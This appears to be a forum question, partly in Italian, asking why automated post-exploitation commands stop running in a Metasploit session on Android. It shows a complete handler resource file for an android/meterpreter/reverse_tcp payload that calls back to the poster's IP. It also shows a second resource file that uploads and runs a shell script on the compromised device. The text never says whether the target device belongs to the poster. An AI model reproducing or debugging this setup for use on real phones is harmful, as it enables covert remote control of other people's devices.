Provo a creare Metasploit AutoRunScript per Android. Il primo file .rc ha questa configurazione
use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST xxx.xxx.xxx.xxx (my IP)
set LPORT 4545
set AutoRunScript multi_console_command -r /root/Desktop/commands.rc
exploit -j -z
Questo è il secondo file .rc (commands.rc)
upload /root/Desktop/and.sh /data/data/com.metasploit.stage/files
shell
cd /data/data/com.metasploit.stage/files
sh and.sh
exit
Il problema è dopo che il comando shell
è executed the sh and.sh
e i comandi exit
non sono eseguiti. Se scrivo manualmente i comandi sh and.sh
e exit
funziona. La domanda è: come posso eseguire questi comandi? Qualsiasi suggerimento è benvenuto e apprezzato!